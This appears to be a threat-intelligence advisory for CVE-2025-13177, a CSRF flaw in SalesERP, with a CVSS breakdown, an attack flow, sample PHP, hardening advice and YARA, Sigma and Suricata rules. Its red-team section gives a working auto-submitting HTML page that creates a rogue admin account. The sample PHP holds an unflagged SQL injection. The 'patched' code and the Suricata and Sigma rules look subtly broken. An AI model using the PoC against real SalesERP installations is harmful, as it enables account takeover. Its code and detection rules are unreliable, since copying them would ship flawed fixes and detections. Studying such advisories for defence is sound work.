CVE-2025-13177
Executive Summary
CVE-2025-13177 is a Cross-Site Request Forgery (CSRF) vulnerability in Bdtask/CodeCanyon SalesERP, affecting versions up to 20250728. The flaw allows an attacker to trick an authenticated administrator into executing unintended actions, such as modifying settings or creating unauthorized accounts, by crafting a malicious link or page. The CVSS score is 4.3 (Medium), and the exploit is publicly available. The vendor has not responded to disclosure, leaving the product unpatched. This report provides technical analysis, detection rules, and mitigation guidance.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Base Score: 4.3 (Medium)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – Attacker does not need authentication.
- User Interaction: Required (UI:R) – Victim must click a link or visit a page.
- Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
- Confidentiality Impact: None (C:N)
- Integrity Impact: Low (I:L) – Attacker can modify data or settings.
- Availability Impact: None (A:N)
Threat Level: Medium. While the impact is limited to integrity, the lack of a patch and public exploit increases risk for unhardened deployments.
Deep Dive & Mechanics
The vulnerability resides in an unknown part of SalesERP, likely in a form handler or API endpoint that performs state-changing operations (e.g., user creation, configuration changes) without validating a CSRF token. The application does not implement anti-CSRF mechanisms such as synchronizer tokens, double-submit cookies, or SameSite cookie attributes.
Attack Flow:
- Attacker crafts a malicious HTML page or email containing an auto-submitting form or an
<img>tag pointing to a sensitive SalesERP endpoint (e.g.,/admin/users/add). - The victim, authenticated as an administrator, visits the attacker’s page.
- The victim’s browser sends a forged request to SalesERP, including the victim’s session cookie.
- SalesERP processes the request, performing the attacker’s desired action (e.g., creating a new admin user).
Root Cause: Missing CSRF token validation on state-changing endpoints.
Vulnerable vs. Patched Code
Since no patch is available, the following illustrates the vulnerable pattern and a hypothetical fix.
Vulnerable Code (PHP example):
<?php
// Vulnerable: No CSRF token check
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "INSERT INTO users (username, password) VALUES ('$username', '$password')";
mysqli_query($conn, $sql);
}
?>
Patched Code (Hypothetical):
<?php
session_start();
// Validate CSRF token
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die('CSRF validation failed');
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = $_POST['username'];
$password = $_POST['password'];
$stmt = $conn->prepare("INSERT INTO users (username, password) VALUES (?, ?)");
$stmt->bind_param("ss", $username, password_hash($password, PASSWORD_DEFAULT));
$stmt->execute();
}
?>
Exploitation & Lab Setup
Red Team (Proof of Concept)
Exploit HTML (CSRF PoC):
<html>
<body>
<h1>Click to win a prize!</h1>
<form action="http://target-saleserp/admin/users/add" method="POST" id="csrf-form">
<input type="hidden" name="username" value="attacker_admin">
<input type="hidden" name="password" value="P@ssw0rd123">
<input type="hidden" name="role" value="admin">
<input type="submit" value="Claim Prize">
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
Usage: Host this HTML on an attacker-controlled server. Send the link to an authenticated SalesERP admin. When the admin visits, the form auto-submits, creating a new admin account.
Blue Team (Detection & Hardening)
Detection:
- Monitor for unexpected POST requests to sensitive endpoints (e.g.,
/admin/users/add,/admin/settings). - Alert on multiple failed CSRF token validation attempts (if tokens are implemented).
- Use web application firewall (WAF) rules to block requests with missing or invalid Referer headers.
Hardening:
- Implement CSRF tokens on all state-changing forms.
- Set
SameSite=StrictorLaxon session cookies. - Validate the
OriginandRefererheaders for critical actions. - Use a Content Security Policy (CSP) to restrict form submissions.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/admin/users/addor/admin/settingswith unexpected parameters. - HTTP requests with missing
RefererorOriginheaders from external domains.
- POST requests to
- Logs:
- Unauthorized user creation events in SalesERP audit logs.
- Multiple failed login attempts from new accounts created via CSRF.
- File System:
- Unexpected files in upload directories (if CSRF triggers file upload).
- Behavioral:
- New admin accounts with suspicious usernames (e.g.,
attacker_admin,hacker123).
- New admin accounts with suspicious usernames (e.g.,
Detection Engineering
YARA Rule
rule Detect_CSRF_Exploit_SalesERP {
meta:
description = "Detects CSRF exploit attempts against SalesERP"
author = "Valters IT"
date = "2025-02-20"
reference = "CVE-2025-13177"
strings:
$csrf_form = /<form[^>]*action=["']http:\/\/[^"']*\/admin\/(users|settings)/ nocase
$auto_submit = /document\.getElementById\(['"][^'"]*['"]\)\.submit\(\)/ nocase
$hidden_input = /<input[^>]*type=["']hidden["'][^>]*name=["'](username|password|role)["']/ nocase
condition:
any of them
}
Sigma Rule
title: CSRF Exploit Against SalesERP
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential CSRF attacks targeting SalesERP admin endpoints
author: Valters IT
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
c-uri|contains:
- '/admin/users/add'
- '/admin/settings'
cs-referer|contains: null
condition: selection
falsepositives:
- Legitimate admin actions from same origin
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-13177 CSRF Exploit Against SalesERP"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/admin/users/add"; nocase; http.referer; content:!".*target-saleserp.*"; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate SalesERP from the internet if possible, or restrict access via VPN/whitelist.
- Implement a WAF rule to block POST requests to sensitive endpoints without a valid Referer header.
- Manually add CSRF tokens to all forms (if you have source code access).
- Set session cookies with
SameSite=StrictandHttpOnlyflags.
Long-Term Fix:
- Contact the vendor (Bdtask) for an official patch. If unresponsive, consider migrating to an alternative ERP solution.
- Conduct a full security audit of SalesERP for other vulnerabilities.
Valters IT – DevSecOps & Cyber Threat Intelligence.